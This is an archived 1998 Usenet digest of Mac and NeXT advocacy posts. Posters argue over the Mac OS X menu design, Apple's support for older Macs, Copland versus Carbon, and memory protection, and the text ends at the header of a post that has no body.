References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <35BFB0BB.1AB6@geocities.com> <6pqamt$s5d$1@plo.sierra.com> <6pqqjc$jr6$1@lwnws01.ne.highway1.com> <andyba-ya02408000R3107981030580001@news>
andyba@corp.webtv.net (Andy Bates) wrote:
> In article <6pqqjc$jr6$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> wrote:
>
> > "Earl Malmrose" <earl.malmrose@nospam.sierra.com> wrote:
> > >
> > > I love my Libretto. Less than $1000, and under 2 lbs. I wish
> > > Apple would develop a PowerBook with those features, it would
> > > sure help my development.
> >
> > If I remember correctly, the libreto has a 6" screen. Ostensibly
> > a palm type unit. 9" is going to make it a crap laptop.
>
> See, here you go again. I'll note for the record that you AREN'T
> complaining about how the UI will scale badly to desktop machines;
> you are talking about a machine with a 9" screen being a "crap
> laptop."
Since you have repeatedly not comprehended what I have said, I'll note you
are far from an authority on noting what I said, for the record or otherwise.
And once again you're wrong. I *am* complaining that a UI designed to work
well on a 640X480 resolution will not scale well, nor work as well as a UI
designed to work at 1024X768 on up.
> Now, this is a simple question: if this guy says he loves his
> Libretto, and the Libretto has a 6" screen, how would giving it
> a BIGGER screen make it a WORSE device?
Because at that point it wouldn't ostensibly be a palm top, it would be too
big. At that point it would most definatly be a small and crappy lap top.
And to me, it makes no sense to scrimp and use a cheezy 640X480 display on a
modern laptop machine. YMMV.
> To make an analogy, it's like saying that a Porsche sucks because
> it's a "crap race car."
What kind of porsche is it? Is it a street legal stock 911? If so, it would
suck as a formula 1 race car. I would hate to limit a formula 1 car with a
stock porsche UI--having a relatively long throw gear box rather than the
semi-automatic trip, the seating stance which would keep the car from being
aerodynamic, all the niceties that add weight, etc etc.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 31 Jul 1998 19:26:55 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pt5pv$7cj$1@lwnws01.ne.highway1.com>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <35BFB0BB.1AB6@geocities.com> <6pqamt$s5d$1@plo.sierra.com> <6pqqjc$jr6$1@lwnws01.ne.highway1.com> <andyba-ya02408000R3107981030580001@news>
andyba@corp.webtv.net (Andy Bates) wrote:
> See, here you go again. I'll note for the record that you AREN'T
> complaining about how the UI will scale badly to desktop machines;
> you are talking about a machine with a 9" screen being a "crap
> laptop."
And I'll note that you have consistently been unable to comprehend what I
post, and as such are far from any authority on what I say, on the record or
otherwise. And once again you're wrong. I *am* complaining that a UI
designed to work well on a 640X480 resolution will not scale well, nor work
as well as a UI designed to work at 1024X768 on up.
> To make an analogy, it's like saying that a Porsche sucks because
> it's a "crap race car."
What kind of porsche is it? Is it a street legal stock 911? If so, it would
suck as a formula 1 race car. I would hate to limit a formula 1 car with a
stock porsche UI--having relatively long throw gear box rather than the
semi-automatic trip, having lame gear ratios, the seating stance which would
keep the car from being as aerodynamic, all the niceties that add weight, etc
etc.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: etomlins@rohan.sdsu.edu (tomlinson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Apple innovation--new boxes! (was Re: OS X: Installed base of only 750,000 G3 systems?
Followup-To: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Date: 31 Jul 1998 19:58:19 GMT
Organization: San Diego State University
Message-ID: <6pt7kr$gai$1@hole.sdsu.edu>
References: <joe.ragosta-3007981652140001@wil78.dol.net> <B1E65D97-2B407@206.165.43.108> <joe.ragosta-3107981038520001@wil31.dol.net> <6pt2gg$m29$1@hecate.umd.edu> <joe.ragosta-3107981529330001@wil53.dol.net>
Joe Ragosta (joe.ragosta@dol.net) wrote:
: It's the next generation Mac case design...
Oh, Zeus, not another one. Whatever other improvements Apple might
have made to their policies, they're still coming out with new plastic
shapes every few months. Why don't they make their imitation of
Detroit complete, and start giving their "next generation" models
Italian- or Latin-sounding names? (But Compaq already does that.)
-tomlinson (give me an AT-style case with a $70 motherboard in it,
and a star to steer by. Uh, by which to steer.)
--
Ernest S. Tomlinson - San Diego State University
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <Pine.SOL.3.96.980727101621.21442A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2707981730140001@news> <Pine.SOL.3.96.980728102816.17041E-100000@ux8.cso.uiuc.edu> <35BDF6BC.B3238E95@ericsson.com> <Pine.SOL.3.96.980728142652.21913A-100000@ux8.cso.uiuc.edu> <35BE2E3B.CE9EB08A@ericsson.com> <35bebc5e.0@nnrp1.news.uk.psi.net> <35BF4E0B.20BC88D3@ericsson.com> <35bf8505.0@nnrp1.news.uk.psi.net> <andyba-ya02408000R3007981710160001@news> <35c18547.0@nnrp1.news.uk.psi.net> <andyba-ya02408000R3107981108110001@news>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35c22269.0@nnrp1.news.uk.psi.net>
Date: 31 Jul 98 20:00:41 GMT
andyba@corp.webtv.net (Andy Bates) wrote:
>In article <35c18547.0@nnrp1.news.uk.psi.net>, richard@brainstorm.co.uk.
>(Richard Frith-Macdonald) wrote:
>
>> andyba@corp.webtv.net (Andy Bates) wrote:
>> >
>> >Because having a hierarchical system with a top-level item ascribes the
>> >same level of importance to that single item as each of the other submenus.
>> >If you have more than one top-level item, they can usually be logically
>> ^^^^^^^
>> >grouped into one submenu. It is not space-effective (or logical) to have
>> >some menus with other submenus, and some individual top-level items.
>>
>> 'space-effective'
>> Oh - lets all restrict ourselves to a gui for a 9" display then shall we?
>> 'or logical'
>> Rubbish.
>
>I'm sorry. What was I thinking? We all have larger screens, so why not
>spread out the menu items? Why do we need menus in the first place? It's
>preferable to have 75 separate commands as buttons running along the top
>(or side) of the screen! After all, since none of them are inside menus,
>they are quicker and easier to access, right?
I'm giving up on this - I don't mind arguing with Michael Peck while I disagree
hugely with many of his opinions, and often have a hard time understanding where
he's coming from, at least he makes some intelligent comments and contributes
to this newsgroup - I haven't seen you write ANYTHING worthwhile yet!
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Is Apple designing for acceptance?
Date: 31 Jul 1998 20:19:43 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6pt8sv$53l@newsb.netnews.att.com>
References: <6pr5da$t1b@newsb.netnews.att.com> <B1E704F3-5B7C6@206.165.43.126>
Originator: gupta@tlctest
Lawson English <english@primenet.com> wrote:
>[snip]
>I don't understand the question fully. What can you do with ANY application
>if the other users don't have the same app or a compatible installed? A lot
>or a little, depending on the app and what you are trying to do with it.
>[snip]
Exactly. Which is why HTML, though much less rich than OpenDoc,
is "superior" to OpenDoc. In case of what you mentioned about GXMagic,
if it can't print, and I can't put it on the Web, can't email to anyone
who doesn't have GXMagic, what good is it ? I don't produce stuff to
sit and stare at by myself. I produce stuff in order to communicate.
On the other hand, the few hours that I spent writing my own
troff -> HTML converter (we have a LOT of troff around these parts) has
been extremely useful.
-arun gupta
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Fri, 31 Jul 1998 20:27:58 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pt9ce$est$1@nnrp1.dejanews.com>
References: <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net> <6p5mqd$nsu$1@nnrp1.dejanews.com> <Josh.McKee-2307981810170001@pm3a8.rmac.net> <6p9acg$o8n$1@nnrp1.dejanews.com> <joe.ragosta-2507981956290001@elk82.dol.net> <6phbrl$ibc$1@nnrp1.dejanews.com> <6pim7q$6sg$1@supernews.com> <6pisq8$jtg$1@nnrp1.dejanews.com> <joe.ragosta-2807980911080001@wil43.dol.net> <35c4e136.45677265@news.mindspring.com> <joe.ragosta-3107981049230001@wil31.dol.net>
In article <joe.ragosta-3107981049230001@wil31.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> A programmer who made that error would find it the first time he tested
> the program. He'd fix it, and it would be over.
Not necesarily, a lot of C/C++/Toolbox functions return nil if a memory
allocation fails. So you have to produce a failure to produce the error. That
can be hard to test.
Also, there are a lot of Mac OS programs that read from address zero. I
remember that Apple had to back away from a change to the operating system
because a lot of programs would crash if there wasn't a 0 byte in the first
255 bytes of memory.
> The ability of a Windows user to trash his Windows folder is wide open in
> millions and millions of computers on desks all over the world.
And I can't trash my System folder? I can throw it in the trash and my
computer won't boot. I can delete the control panel and extension folders.
Even moving the System and Finder icons into different folders will prevent
the computer from booting.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 31 Jul 1998 16:18:41 -0400
Organization: jontemple@earthlink.net
Message-ID: <35C2269F.97C47817@earthlink.net>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <joe.ragosta-2607982033560001@elk91.dol.net> <Josh.McKee-2807981805580001@pm3a10.rmac.net> <joe.ragosta-2907980846230001@wil64.dol.net> <Pine.SOL.3.96.980730143132.22326A-100000@ux5.cso.uiuc.edu> <MPG.102ac13ecf3d65f989a55@news.supernews.com> <35C1649D.D5A8F2D3@earthlink.net> <MPG.102b8fcaa767b58b989a5d@news.supernews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
To: Donald Brown <don.brown@cesoft.com>
Donald Brown wrote:
> In article <35C1649D.D5A8F2D3@earthlink.net>, jontemple@earthlink.net
> says...
> > > >
> > > > Possibly the time cost would be significant, but even that I tend to
> > > > doubt for reasons that I've stated several times before.
> > > >
> > > Then it may be time to close this discussion out. Joe and I are saying
> > > "yes the costs are there", you and others are saying "no there are no
> > > costs".
> >
> > Oversimplification.
> >
> > You (Don) are saying, "Apple is going to Diiiieeeee! Don't ask for OS X
> > support because Apple might diiiieeeee."
>
> Close. Apple MIGHT die. Apple's survival is not yet assured. Promising
> too much and then failing to deliver might push them over the edge.
> Going back to 4 quarters of loss because they hired more people for
> testing, WOULD die.
>
> > Joe is saying, "It'll take way too much money. It'll take years. It is a
> > whole new OS. It's way too different from Rhapsody."
> >
> > Several of the rest of us are saying, "based on similar projects (LinuxPPC,
> > and MkLinux, for example) it'll take a little more time to implement, but not
> > more than a few months. Testing will take longer, but no biggy --- companies
> > like Apple have the resources to do this in good speed."
>
> Apple is simultaneously developing Mac OS 8.5, 9.0 or whatever they're
> going to call it, next generation computers, the consumer laptop, PLUS OS
> X. Apple's resources will be strained. If you have resources under
> strain, handing them a whole bunch more things to do is not a smart
> thing.
>
> > We are also saying, "If it takes a few more months, release OS X a few months
> > later FOR THE REST OF US. We've been waiting since Copland for this modern
> > OS, a few more months isn't going to kill us. Just don't make us buy new
> > machines when we love our current ones --- we just want a better OS to run on
> > them."
>
> You will be able to run a better OS in the form of 8.5. Not as radically
> better as OS X will be, but better.
>
> I sincerely hope Apple DOES support OS X for other PCI Macs--either
> later, or even as a pleasant surprise. I hope the word is getting out
> that a second release that covers more computers is acceptable. This
> would be a great thing.
>
> But, at this point, one year out when the project is still being sized in
> many ways, for Apple to PROMISE that it will support older Macs would be
> risky. As it is, if Apple finds they have more time to support older
> Macs, this would be a pleasant surprise. If Apple had said "We're going
> to support all PCI machines" and then was running out of time and had to
> jettison support of motherboards other than G3, the howling we're hearing
> now would be minor by comparison.
>
> > And finally, we are saying, "A company should support their own computers,
> > but we are willing to be reasonable about it --- but they *should* be
> > supported. It is *reasonable* to support a machine less than 2 (or even 3
> > years) old, much less a 2-month old model like the 9600/350. Confusing our
> > reasonable requests with nonsense about supporting 10 year old computers with
> > completely different processors is offensive and stupid. It is NOT
> > reasonable."
>
> A company should be able to support them, yes. But, a company shouldn't
> have lost one billion dollars last year. A company shouldn't go through
> the constant "you are dead" statements that Apple goes through.
>
> Again, I hope Apple does support the older machines. Make sure you're
> sending letters to leadership@apple.com saying a later release would be
> acceptable and you'd still pay good money for it.
>
> But, I'm not the guys making decisions at Apple. I'm not the guy who
> will be fired and looking for work if this project fails. I've gotten
> the word from those I respect that there are significant possible risks
> in pursuing it now. So, I'm going to give them the benefit of the doubt.
>
> (So much for bowing out of the discussion <sigh>)
>
> Donald
Wow! Good response, Don! Obviously, I don't see eye-to-eye with you on these
things, but you didn't distort one thing and what you said makes sense in light of
the facts.
Thanks for the response.
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 31 Jul 1998 16:25:08 -0400
Organization: jontemple@earthlink.net
Message-ID: <35C22822.C641FEEB@earthlink.net>
References: <35c0cd24.0@news.depaul.edu> <B1E65ACA-20BAA@206.165.43.108> <6pshr0$2r2$1@bartlet.df.lth.se>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
Christian Brunschen wrote:
> In article <B1E65ACA-20BAA@206.165.43.108>,
> Lawson English <english@primenet.com> wrote:
> >Jonathan W Hendry <jhendry@shrike.depaul.edu> said:
> >
> >>In comp.sys.next.advocacy Earl Malmrose <
> >>earl.malmrose@nospam.sierra.com> wrote:
> >>
> >>> Well, since the new processor is backwards compatible with the old one,
> >>> that's a poor reason. And this "new motherboard" as many have pointed
> >>out,
> >>> is extemely similar to older motherboards, with minor modifications, so
> >>> there's another poor reason.
> >>
> >>Minor modifications that Be can't figure out?
> >
> >
> >
> >Without using expensive clean-room techniques that Apple doesn't need to
> >worry about.
> >
> >Remember that Be Inc was GIVEN and/or licensed all the relevant info for
> >all pre-G3 PowerMacs BY APPLE ITSELF but not for G3 systems.
>
> Well, perhaps Be could take a look at www.linuxppc.org, and ask one or two
> of the people _there_ ... Linux/PPC _is_ running on PowerMac G3 machines
> ... as is, accidentally, mkLinux, which Apple themselves are working on
> ...
>
> So, right now, if Be doesn't support G3 machines, it's their own damn
> fault.
I am not so certain. Does Be use a Mach kernel (I really don't know)? My
understanding was Be isn't really Unix like OpenStep/BSD 4.4 (thus OS X) and
Linux, which is a UNIX clone.
Also, I am not certain why Be cares anymore. I don't blame Be for jumping ship
from PowerPC to Intel (as I believe they ultimately will drop PPC
altogether). Without clones, the market for Be has shifted radically. They
have much less incentive to make BeOS available on new Apple hardware, given
its 4.1% marketshare; they can't hope but steal but a tiny percentage of that
from Apple.
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: 31 Jul 1998 20:54:30 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6ptau6$fcf$2@news.spacelab.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6ppbmg$m1p$1@bunyip.cc.uq.edu.au> <6pq2n2$q44@newsb.netnews.att.com> <6pqa9r$s09$1@plo.sierra.com> <joe.ragosta-3007981600420001@wil33.dol.net> <6prd57$h22$1@bunyip.cc.uq.edu.au> <joe.ragosta-3107981050490001@wil31.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
>In article <6prd57$h22$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
[ ... ]
>>>I have an IBM 6x86MX 200 and a 6X burner and make coasters all the time if
>>>I have anything else going on. Mine's IDE, so that may be part of it, as
>>>well.
>>
>> 6X over IDE could get a bit hairy - what type of drive & m/b have you got
>> again ?
>
>Abit TX5
>Traxdata CD-R/RW 2x2x6
>It's clocked at 66x2.5. I've never been able to go any higher than that,
>even with a massive, expensive heat sink.
There _is_ a reason why many CD-burners come bundled with a SCSI card.
(E)IDE sucks trying to multithread or deal with parallel (multiple devices)
I/O.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: Apple innovation--new boxes! (was Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 31 Jul 1998 14:27:24 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-3107981427240001@dante.eng.uci.edu>
References: <joe.ragosta-3007981652140001@wil78.dol.net> <B1E65D97-2B407@206.165.43.108> <joe.ragosta-3107981038520001@wil31.dol.net> <6pt2gg$m29$1@hecate.umd.edu> <joe.ragosta-3107981529330001@wil53.dol.net> <6pt7kr$gai$1@hole.sdsu.edu>
In article <6pt7kr$gai$1@hole.sdsu.edu>, etomlins@rohan.sdsu.edu
(tomlinson) wrote:
>Joe Ragosta (joe.ragosta@dol.net) wrote:
>
>: It's the next generation Mac case design...
>
>Oh, Zeus, not another one. Whatever other improvements Apple might
>have made to their policies, they're still coming out with new plastic
>shapes every few months.
>-tomlinson (give me an AT-style case with a $70 motherboard in it,
>and a star to steer by. Uh, by which to steer.)
Changing the plastic shape isn't a problem so long as it doesn't affect
the underlying design. You specify an AT-style case with a $70 motherboard
in it, but apparently don't care what the _look_ of that case is.
I believe that what Apple is moving towards is some kind of
standardization of the innards of their systems, but probably not AT-style
since it appears they no longer need all of that space for a motherboard.
Look inside a G3 desktop and look at what the iMac looks like and tell me
that Apple needs an 18" x 15" board...
-Bob Cassidy
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Fri, 31 Jul 1998 16:54:07 -0500
Organization: Ericsson Inc.
Message-ID: <35C23CFF.74C99D5B@exu.ericsson.se>
References: <35C1F3A8.2B36FFA2@exu.ericsson.se> <geh-3107981123110001@odo.safe.internal> <macghod-3107981422050001@1cust64.tnt1.santa-barbara.ca.da.uu.net>
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Steve Sullivan wrote:
> Thats whats so great about pc's, Go to Frys and pick up a motherboard with
> a p2 300 for what, $300, and for $300 you have just upgraded your 386 to a
> p2 300. Now take a mac 2 si. For $300 can you upgrade it to a g3 233?
> HAHAHAHAHAHAHAHAHAHHAHAHAH
> HASHAHAHAHAHAHAHAHAHAHHA
> HAHAHHAHAHHAHAHHAHAHHAHHA
You can't do this, in all fairness. A Pentium-II motherboard requires an
ATX-style case and power-supply and will probably take DIMMs rather than
30-pin SIMMs.
A Pentium-II upgrade is not necessary, however, for Mr Hiebert's
challenge of running NT 5.0. An Evergreen i586 upgrade will do the job
just fine; the cost will come in around $100 or less.
MJP
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
From: lars.farm@ite.mh.se (Lars Farm)
Message-ID: <1dd21m3.1foqfdd99698qN@dialup112-2-9.swipnet.se>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net> <6p5mqd$nsu$1@nnrp1.dejanews.com> <Josh.McKee-2307981810170001@pm3a8.rmac.net> <6p9acg$o8n$1@nnrp1.dejanews.com> <joe.ragosta-2507981956290001@elk82.dol.net> <6phbrl$ibc$1@nnrp1.dejanews.com> <6pim7q$6sg$1@supernews.com> <6pisq8$jtg$1@nnrp1.dejanews.com> <joe.ragosta-2807980911080001@wil43.dol.net> <35c4e136.45677265@news.mindspring.com> <joe.ragosta-3107981049230001@wil31.dol.net>
Organization: pv
Date: Fri, 31 Jul 1998 22:13:39 GMT
NNTP-Posting-Date: Sat, 01 Aug 1998 00:13:39 MET DST
Joe Ragosta <joe.ragosta@dol.net> wrote:
> Why is it inappropriate?
>
> A programmer who made that error would find it the first time he tested
> the program. He'd fix it, and it would be over.
Without protected memory this class of error can go undetected for quite
a while. Well past testing. You do have errors like that in more than
one program on your disk. The example had address 0, in reality it is an
arbitrary address. Causes harm sometimes and other times not. With
protected memory any access outside the app is detected directly.
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
From: mdheus@compuserve.com (Markus Dheus)
Date: Sat, 1 Aug 1998 00:17:30 +0200
Message-ID: <199808010017306283@md08-161.mun.compuserve.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <6ol3nq$14g$1@vixen.cso.uiuc.edu> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <6oqjko$qqs$1@camel19.mindspring.com> <6otmti$g4$1@nnrp1.dejanews.com> <35b26dbb.0@news.depaul.edu> <6ou5gk$kfk$1@nnrp1.dejanews.com> <MPG.101cfec0f9313ac39899cc@news.supernews.com> <FIiROLCWddLd-pn2-gdKdv5NP2C9f@localhost> <35BE0BBE.AE74C1E3@earthlink.net> <joe.ragosta-2907980904140001@wil64.dol.net> <MPG.10297cfc5259ba1989a41@news.supernews.com> <6pp7uo$knq$1@larry.admin.phil.uu.nl> <MPG.102a39e0cc43cdbb989a47@news.supernews.com> <6prtnt$3a$1@larry.admin.phil.uu.nl> <MPG.102b903b3a3ef5c5989a5e@news.supernews.com> <6psmnh$2oa$1@larry.admin.phil.uu.nl>
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Freek Wiedijk <freek@phil.uu.nl> wrote:
> Donald:
>
> >My understanding was that Copland was supposed to give old apps the
> >benefit of the new system. There wouldn't be a blue box or equivalent,
> >somehow Copland was supposed to provide PM and PMT into the MacOS API as
> >it existed.
>
> It seems improbable to me that they ever promised something
> like that. Anyone who really knows this?
>
> Freek
I have Copland DR0 (masquerading as DDK) around somewhere...
They didn't promise that, but they tried to achieve full binary
compatibility for old applications without using an OS inside an OS
approach like the Blue Box in Rhapsody for legacy apps. So the API*
had a (sort of) compatibility mode and a more modern API with extended
capabilties (the proposed Copland File Manager API was beautiful in its
concept, whereas the new Event Manager API was horribly bloated).
The "classic" and "modern" environments overlapped, so achieving full
backwards compatibility while providing new features to modern apps and
doing both inside the same code base posed insurmountable problems
(synchronization issues, low level issues of the old API etc.)
Even a successful Copland effort would only have provided a somewhat
limited amount of PM and PMT, as only special server processes without
an user interface (a bit like the faceless background application of
today) would have gained full benefits. So you would have been able to
crash the GUIs of all applications with their cores happily running
away, but inaccessible. Essentially an autistic computer :-)
Carbon on the other hand strives for only partial source code backwards
compatibility. So it hasn't to support the old application runtime
environment and has not to be bug for bug compatible with the old API.
Furthermore they can leave out or change problematic parts of the old
MacOS API. Carbon is a new layer ontop of the Rhapsody foundation that
just has a striking similarity to the old MacOS API, thus hopefully
enabling relatively quick ports from classic MasOS applications. But
this probably will be quite a bit more difficult for your typical
application than the 68K -> native PowerPC migration.
I do remember Copland, Taligent, OpenDoc, Bedrock, GX etc., so
besides of looking more avidly for anachronisms and dependency on
obscure side-effects in my code, Carbon isn't really important for my
work until it solidifies as a real piece of software.
I am always amused how people get into flamewars about OS vaporware,
especially if they are users and not developers :-)
Markus
* API = Application Programming Interface
--------------------------
Markus Dheus
mdheus@compuserve.com
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Newsgroups: comp.sys.next.advocacy
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From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Fri, 31 Jul 1998 15:04:03 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R3107981504030001@news>
References: <35c15e97.0@nnrp1.news.uk.psi.net> <23935-35C18CB9-174@newsd-124.bryant.webtv.net> <35c1cc00.0@nnrp1.news.uk.psi.net> <35C1F29C.15D02625@exu.ericsson.se> <6pt3sq$5sv$1@lwnws01.ne.highway1.com>
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In article <6pt3sq$5sv$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> Michael Peck <eusmpec@exu.ericsson.se> wrote:
> > I don't think that this is the point. Maybe I'm the only one, but I
> > think that using the menu mechanism as an accelerator is a mistake for
> > the very reason that there are better, other, separate mechanisms
> > designed for that.
>
> Although I see your point, I disagree.
So we agree that Hide should be on the top level, right? Okay. What about
Quit? It may be hard for users to find. Let's put it there. What about
Print Preview? Someone mentioned that some people use it a lot; put it up
there. Oh, and I use Plain Text a lot in my word-processing program, along
with Bold, so let's put them both up there. What about Find and Replace?
Yep, let's put those on there too.
The point is that what a user needs to access quickly varies from user to
user. Putting shortcuts for one command on the top level takes up more
room, and only benefits those users that need quick access to that command.
So it's all or nothing: either have a menu system with no top-level
commands (like now), or put them ALL in the top level (although a
customizable toolbar would work just as well for this). But either way,
putting just one or two buttons at the top level of the menu is pointless
and narrowminded.
Andy Bates.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Fri, 31 Jul 1998 15:06:30 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R3107981506300001@news>
References: <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <Pine.SOL.3.96.980727101621.21442A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2707981730140001@news> <Pine.SOL.3.96.980728102816.17041E-100000@ux8.cso.uiuc.edu> <35BDF6BC.B3238E95@ericsson.com> <Pine.SOL.3.96.980728142652.21913A-100000@ux8.cso.uiuc.edu> <35BE2E3B.CE9EB08A@ericsson.com> <35bebc5e.0@nnrp1.news.uk.psi.net> <andyba-ya02408000R3007981635090001@news> <Pine.SOL.3.96.980731113547.29552A-100000@ux5.cso.uiuc.edu>
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In article <Pine.SOL.3.96.980731113547.29552A-100000@ux5.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> There is an obvious indicator as to what will bring up a submenu. That's
> the little arrow pointing off to the right inside the button. I'm not sure
> what your problem is.
The problem is that you have to check out which ones are buttons and which
ones are menus before clicking. On the Mac, you can click on any menu and
proceed to traverse the menu system. With NeXT, you have to check first.
Andy Bates.
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
